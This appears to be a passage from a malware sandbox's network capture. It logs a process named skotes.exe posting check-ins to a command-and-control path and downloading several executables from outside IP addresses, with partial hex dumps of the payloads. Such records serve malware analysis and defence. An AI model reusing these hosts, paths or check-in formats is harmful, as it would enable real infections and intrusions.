64 23 31 30 31 33 35 30 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 [TRUNCATED] Data Ascii: 1d5 <c>1013504001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1013505001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013506001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013507001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013508001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49795	31.41.244.11	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:09.273328066 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 9, 2024 20:28:10.603275061 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:10 GMT Content-Type: application/octet-stream Content-Length: 1966080 Last-Modified: Mon, 09 Dec 2024 17:50:43 GMT Connection: keep-alive ETag: "67572df3-1e0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 50 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 86 00 00 04 00 00 68 c0 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!J@$@$@$@$@$@$_@$@%@$@$@$@$Rich@$PELdP@hZBn@h!0 @T@.rsrch!@d@.idata B@ @) B@klrfnhju`k@auusyycz@@.taggant0P"@
Dec 9, 2024 20:28:10.603339911 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:10.603352070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:10.603365898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:10.603411913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:10.603424072 CET	1236	IN	Data Raw: 71 91 75 be 12 71 25 79 29 ec 90 b2 01 33 79 23 1a 10 da 0b 97 b7 31 b3 6f 6d 0f f2 cb 5f 0d 42 58 3c f5 1e d5 8d ad e7 c7 b9 db 03 9a 9e 03 d2 ef f1 2c 58 cb 48 20 1e df 03 98 24 aa ac 81 35 81 5f 67 d5 2b 25 a5 f9 6f 59 3b e3 d5 b3 dc d6 7b df Data Ascii: quq%y)3y#1om_BX<,XH $5_g+%oY;{8]KZvI!QU](aEG:!?,(Wm-0+,H[\|6FnK.Sf[}m#-:oTb7L\|x/~E(bw.UF\|Ct
Dec 9, 2024 20:28:10.603441954 CET	1236	IN	Data Raw: 4a 79 05 da bc 3c de d3 8e 7b 92 d6 d5 19 dc 8e 7c 95 c4 fd 34 b4 b4 c0 2a 12 7d 0d ed ae 4f e3 a8 b2 e1 e4 d3 33 df 65 cd b3 aa 7c 96 07 1a cc eb 3b 83 65 1e a2 07 02 aa 10 45 e9 eb e3 a4 39 b5 df b0 35 79 33 ba e9 fb 57 c6 31 b0 b4 37 a9 25 64 Data Ascii: Jy<{\|4*}O3e\|;eE95y3W17%d/^WxnH}lV{a,^WUO#+1tf,C/tIbYc}om-asx)^LZKH2_u%KL~P#R\HKG7
Dec 9, 2024 20:28:10.603821993 CET	1236	IN	Data Raw: bc 5f e6 10 b8 0f 9d 0f 60 c0 b9 5b f4 6b f8 3a 40 b7 00 23 af 0f 59 bf 0d bb f9 de 94 96 fb d0 bf 82 cb 58 46 cd 77 c0 e2 c5 9e 5f d9 9d a6 f0 59 6a a2 06 fb 59 b9 5b 95 7a cb e9 6f d6 79 76 9e db 9c 64 d1 a9 6e ca 77 41 a6 c7 37 5d e9 0d 88 31 Data Ascii: _`[k:@#YXFw_YjY[zoyvdnwA7]1I&MqFw6m +w}VlJ9'&7KC[yGQ1Xr_tLa{NGP*7H5D;}oZwyv6!f:}nI7N8
Dec 9, 2024 20:28:10.603838921 CET	1236	IN	Data Raw: 92 0e 9f 35 9b 8b 97 9d 34 97 91 ff 85 50 6c 4e 71 ff e5 21 eb 97 b9 c7 4b 20 1a c8 ef 7d bb aa ff 21 4d 6b 05 56 9e 7d 26 62 c6 b9 4f 82 3b 77 a6 fb f2 05 8b cc c5 d1 43 0f 3e ca 2a d0 ee ac 4f 6d d0 f2 4c c6 68 66 e4 a9 2f cf bd 48 c9 90 1e c2 Data Ascii: 54PlNq!K }!MkV}&bO;wC>OmLhf/H/..Pi6lxrR/f7pA!<5^2ZBA'%KILNkcClJK\|#?&"Aer &Nqs/R?i
Dec 9, 2024 20:28:10.603851080 CET	1236	IN	Data Raw: df 6b 51 e1 ee 28 2e f5 1e 1b f0 d4 ee 3b d2 b8 12 6e 2c f7 d4 a3 28 be 97 e0 c1 55 13 dc 79 5c 1d e9 6c 39 56 b2 68 bf 8a 96 d8 48 13 17 d4 83 78 a3 fc e5 ad 0f 67 34 6e 94 ae a3 a7 6e f5 e7 56 b0 5b 84 48 bf ad 7b e8 49 f2 a9 49 05 62 3f c8 a5 Data Ascii: kQ(.;n,(Uy\l9VhHxg4nnV[H{IIb?(u!~]i{3WDgrl7O}920o<a6?i`xvww[^RIp:fiW L+Q1FJu3ZRc_iBXfH?@W3AW&
Dec 9, 2024 20:28:10.723051071 CET	1236	IN	Data Raw: 35 a7 7a 79 9d 82 ed e1 bc 44 f1 6a 96 34 b2 6d 20 54 e5 a7 36 0f c0 0d 85 66 25 fc 94 f1 f1 d9 87 63 2d 65 c0 4a be ae 38 3f e7 18 0e 55 bd ef d3 3f 0d 10 7a 5d 8b 7a 7d b9 4d d4 0d 58 6b 87 1d be 41 ea 80 5b c2 e5 df fd 7c 63 28 16 d6 20 f5 40 Data Ascii: 5zyDj4m T6f%c-eJ8?U?z]z}MXkA[\|c( @^!"PG}8@+"jY}8;.nRi3/]S{cuI8?1! RYpI<7+jNr\CX51`]X4C_QM9ZALFs1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49807	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:16.561794043 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 31 33 35 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1013504001&unit=246122658369
Dec 9, 2024 20:28:17.912594080 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49813	185.215.113.16	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:18.036971092 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 20:28:19.368413925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:18 GMT Content-Type: application/octet-stream Content-Length: 1838080 Last-Modified: Mon, 09 Dec 2024 19:02:19 GMT Connection: keep-alive ETag: "67573ebb-1c0c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 c0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 48 00 00 04 00 00 a8 43 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELUgH@HC@\@p0A B@.rsrc0R@.idata @V@ )PX@rmyngibq /Z@qytqqcgaH@.taggant0H"@
Dec 9, 2024 20:28:19.368490934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:19.368509054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:19.368654966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:19.368668079 CET	1236	IN	Data Raw: e5 b6 ea f9 f7 8f b5 db 46 bc 43 dd a9 c9 b3 9e ae 2e 7c 06 46 46 67 9b 96 bf e7 9f 71 97 34 5a 3f 11 95 f2 35 04 c6 a0 4f 86 14 d6 ea b5 dc 9e 74 26 a3 9f ad c6 5d e7 7a ba 68 71 48 fa bb c0 7e 8a 66 56 ee 8f a0 a5 07 c3 c9 c2 fc de 3a a2 c6 0d Data Ascii: FC.\|FFgq4Z?5Ot&]zhqH~fV:%\|\|sUCF&LgC{]^4z{CV;YE#L)C>?Dwd4}4d/{8y!^:S-^2q$wfv^uZ-
Dec 9, 2024 20:28:19.368680000 CET	1236	IN	Data Raw: d4 62 6a 86 48 70 94 3c b5 bd ab 4e 6b c6 b9 32 02 04 2d a3 82 ce ab 6c 1e fb e7 61 c7 d6 66 33 95 3d ac 6e 5f 98 3d bb f9 8d 3b bd 75 9f 48 d2 42 1b d8 62 fe a8 24 cb 39 d5 f1 92 c1 97 75 9b 2f fb 23 5e ec f4 17 01 c9 25 54 ea 86 07 30 10 15 f4 Data Ascii: bjHp<Nk2-laf3=n_=;uHBb$9u/#^%T0C!03n9C$"x&$y[[DZS5n`CjZ@?\E,bss/_*OS5+[V;psuElbo(vHY+3~
Dec 9, 2024 20:28:19.368697882 CET	1236	IN	Data Raw: 78 e2 23 52 1c 85 a6 04 82 5f 9e 9b 22 f9 5e 50 2e f0 9b 0a d4 d0 1c aa 84 25 14 3e 74 91 54 c1 69 ee d0 96 7b b2 25 5e d6 ff 21 c4 b2 c6 39 4d 36 a4 64 02 2d 7e 63 20 9b 33 ba 65 6c b7 65 8a 95 34 a7 f9 85 46 6e f8 90 0e 64 bb 84 3e 7f 91 b7 04 Data Ascii: x#R_"^P.%>tTi{%^!9M6d-~c 3ele4Fnd>_*z3FT5Kd+0#bL}vKnRZtJ^~.Ne2(s#;.v$?\5hc4T$ v(3f<aCR1)#uFF]e
Dec 9, 2024 20:28:19.369072914 CET	1236	IN	Data Raw: 8d d9 9d ae 28 a7 db a1 f6 f1 7e b1 5c f2 f3 99 5c 72 ff 4d 58 fa 91 e1 d6 06 f2 a3 0e a1 92 7a be 14 c3 72 a0 ed 6c 6f 39 88 e0 6d 8e e4 e0 19 5b 79 3b f0 cc ff b0 6b 64 26 98 57 d4 cd 55 50 67 4d 80 53 f5 c0 f0 58 57 c4 56 ac 26 bd d4 89 78 d4 Data Ascii: (~\\rMXzrlo9m[y;kd&WUPgMSXWV&x^,.?uPkX5cvjpsd!>&1e"Ad. V!C!A:r3>GH6R(2t4y=+t"\|}W#n~(`<5nP~ Vw
Dec 9, 2024 20:28:19.369085073 CET	1236	IN	Data Raw: 64 46 ca 92 fa f3 13 7b 93 8f b8 41 db 12 1f 16 07 c5 43 d0 b2 ba 7c f2 69 06 2c e7 c3 0e 27 66 ea 09 7f ba 63 50 f6 b3 68 5f 6e e5 6c 97 6a 8c 86 5a 5e f4 61 4a 32 8d 55 8b a7 41 80 94 bd 3f f0 dc 7d 04 68 f4 f6 e5 52 4c 47 9c 07 9b f7 08 21 a3 Data Ascii: dF{AC\|i,'fcPh_nljZ^aJ2UA?}hRLG!&vCa:yZlz5rl.4TC*0,Rxy/T=27#>\|^[ng:>]O\|;,WsW'0"X[(bS=&4<c"$f2{$``}"
Dec 9, 2024 20:28:19.369096994 CET	1236	IN	Data Raw: 8c 8a a8 7d 88 6d f9 4b 33 cd f4 fa 73 bd 4f ee 84 1f 7d 82 63 ab 9b b9 f6 1b 12 4b f4 51 f0 6f 23 8a 08 ea c2 3d c9 0a 64 a9 a9 d7 45 00 4c 0f 8c fa 81 23 76 04 fd fa 45 bf 29 97 76 22 b7 42 8d 1c e1 9d 6a e9 4e b8 37 62 87 ba 9a fe 68 11 9f 6d Data Ascii: }mK3sO}cKQo#=dEL#vE)v"BjN7bhm[~vR=i.%\|<T(f2]tP4^aIFgl<#&R38EL%=yDf'O^CUc}1Fo8oE0B
Dec 9, 2024 20:28:19.488212109 CET	1236	IN	Data Raw: 2f 76 dc 62 1f 3d 1d d6 35 46 cd b9 7a 77 23 b3 aa 2e f9 78 c7 b2 d6 6b ef ac c3 29 27 e9 7c 53 5d 7f cf 92 37 a9 bc 19 f0 46 88 74 c7 5a ac f7 20 00 68 8b 36 25 83 44 8f a1 a3 9a 09 f5 04 1a f8 c1 bd c9 60 01 19 93 ab d3 7d 06 e7 f9 30 38 ef 39 Data Ascii: /vb=5Fzw#.xk)'\|S]7FtZ h6%D`}089$E l^_hUKFd<kMC.jYB"p#DtbbOL);~nnEr}Sk3~GI%"`iB;E(E^%!(zS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49832	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:25.516541004 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013505001&unit=246122658369
Dec 9, 2024 20:28:26.813268900 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49838	185.215.113.16	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:26.940211058 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 20:28:28.283514023 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:27 GMT Content-Type: application/octet-stream Content-Length: 1816064 Last-Modified: Mon, 09 Dec 2024 19:02:26 GMT Connection: keep-alive ETag: "67573ec2-1bb600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 b0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 69 00 00 04 00 00 16 29 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(i@i)@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@xokcbvfd O~@ingsbrasi@.taggant0i"@
Dec 9, 2024 20:28:28.283643007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:28.283659935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:28.283782959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 20:28:28.283796072 CET	1236	IN	Data Raw: 6f 8b 0b a6 21 33 e6 3b 61 4e a7 b2 7f f6 45 e4 ad 12 8e 11 2e fe 50 22 86 f6 01 c1 8d 72 3e 15 be bc 36 3c ae a4 2e e4 4a 58 5d 60 40 d4 48 36 56 d6 5e 32 52 66 4e f6 7d f6 7d 4b c7 05 76 7b 6d 0a 6a 4a 95 70 3e 32 6f 2e 52 ca 85 16 8e 32 a0 d5 Data Ascii: o!3;aNE.P"r>6<.JX]`@H6V^2RfN}}Kv{mjJp>2o.R2g)]C.B!c&>3K+}J&P2BU93b;q%rWP.G"':j..-nbUsf"u~_#0anmg4X<YmJ*5}fBYA";26mWQxG
Dec 9, 2024 20:28:28.283807039 CET	620	IN	Data Raw: b0 de 48 7e 8c e6 02 3b 6d f5 0c d7 19 39 a3 a3 50 1e ca 6b bf d6 95 22 e7 d7 65 8e bc 06 f9 43 12 5c 8f 70 a5 57 a9 e2 42 5b 66 bc c9 5f 8e e5 9a 9b 8f 94 c4 3f e5 e2 a6 93 90 5b 5f f4 5b ad e5 4d 4b 92 25 67 8f c0 5d 65 48 b5 7d 56 8e a6 3c f7 Data Ascii: H~;m9Pk"eC\pWB[f_?[_[MK%g]eH}V<BH\Z:9(b!1M&fd}4R>fZ]N7\Y#GGs;7q?!~Q;{KM@VitKX%lXNatyv!a[s{V*E<
Dec 9, 2024 20:28:28.283973932 CET	1236	IN	Data Raw: 22 ca 3f 52 b7 0c ae 34 65 a5 45 26 0e a2 47 a5 e3 2a 7d f2 19 7c c0 40 0e 92 44 fe da 08 e8 91 c6 f4 18 bd 91 3d 26 3d 2e 9f 3b ad 65 b7 2f d5 dd b7 04 5b 26 0e f6 09 d4 25 a7 76 87 8b 76 37 ee a7 7d 6b 50 b1 38 6a 24 58 92 24 5d f2 86 c9 0b 0a Data Ascii: "?R4eE&G}\|@D=&=.;e/[&%vv7}kP8j$X$]8nAiloi}jX7:Z=7\|fnN1VAtd1(N12bXfU$YkLrMcK,@$tP95vE\|66Z["N6>i@W>*)bW
Dec 9, 2024 20:28:28.284096956 CET	1236	IN	Data Raw: 65 e1 7f 04 81 4e 7a 30 ce 9d 44 1c 75 77 44 92 39 f4 05 b6 7d 18 64 c6 35 0b 12 6e 7d 66 97 a5 25 93 be 64 60 d6 8d 32 60 08 56 aa b3 9e 0a 04 12 76 72 57 b5 df 2b 8a a5 00 c2 e7 c9 f4 6d 79 b3 32 ce 04 fe 0e 42 a3 24 b5 8f 39 af de e7 30 d2 f6 Data Ascii: eNz0DuwD9}d5n}f%d`2`VvrW+my2B$90M'\|bmn<~&1Dei<Z"mDm&nn^"N0&r8$<[0+Y'oJ\+*vAofT\DjN:J=]<DV~1
Dec 9, 2024 20:28:28.284111023 CET	1236	IN	Data Raw: 8f f8 91 61 21 66 4a aa 8f 1e 10 0e 87 0f 77 0c 9f f5 86 37 ce 75 94 6b bf 3d 74 62 6f 00 a2 2b 2e f6 fd ac c3 c9 57 4a b4 bd 7a 2b 8a 88 99 c1 1c 29 96 15 bc 1e 95 6b 26 12 13 04 69 3c b6 26 b0 6e 67 86 39 0c 39 34 52 78 44 16 6d 00 a8 a7 76 5d Data Ascii: a!fJw7uk=tbo+.WJz+)k&i<&ng994RxDmv]d0"VD^z\|rQ6gRZ>yav b1atv6zmo\|~m22-N"zrd91##<!&Zr]bD#:ExO<;EnmU>rE%uC"6
Dec 9, 2024 20:28:28.284228086 CET	1236	IN	Data Raw: b4 8e 8e 99 d2 0c f2 0d 81 48 1e 22 b0 9e 4b 12 a2 5b 18 ee 75 96 0a e4 1d 16 1e e7 60 7e 6a 47 15 9d 98 65 a5 46 e7 cb 47 36 98 69 21 3c a2 2b e6 8b 65 f6 69 3c 67 56 a5 f6 0d b7 6b 77 d4 3e 5c 0d 45 0b ba 0b e5 b6 6f 05 6b 0d 7c b1 44 e5 6d 00 Data Ascii: H"K[u`~jGeFG6i!<+ei<gVkw>\Eok\|Dm"o]3[}Fi&7/'7bm3:"JgA/a!.<4"V2k.<"7.tj!:v'&K1m10)800ln`&<
Dec 9, 2024 20:28:28.450385094 CET	1236	IN	Data Raw: 01 51 75 e8 a9 6d ca e7 f6 32 4a 0c 9a 6f 6c 76 9e be 9b 4c a3 89 1d 7b ef f6 7c d5 e1 80 5f de 6e 94 39 a1 61 aa 34 2f 36 20 2a 8e 43 67 74 be b0 02 2c 24 39 fd 89 a1 8d ee 11 2d 27 09 15 a7 1c 81 5e 06 80 4d bc 52 a4 4c 0f df 05 f7 b9 6e a5 a9 Data Ascii: Qum2JolvL{\|_n9a4/6 *Cgt,$9-'^MRLn9aYrhc"FrGV=\\nHD\|\|;AxMXELZt# .}:\|>#\9?yrkZ`_,pRVHPc.k^ki8U}MYbuD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49856	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:33.830955982 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013506001&unit=246122658369
Dec 9, 2024 20:28:35.174541950 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:28:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49857	185.215.113.206	80	2324	C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:28:35.093539953 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 20:28:36.426399946 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
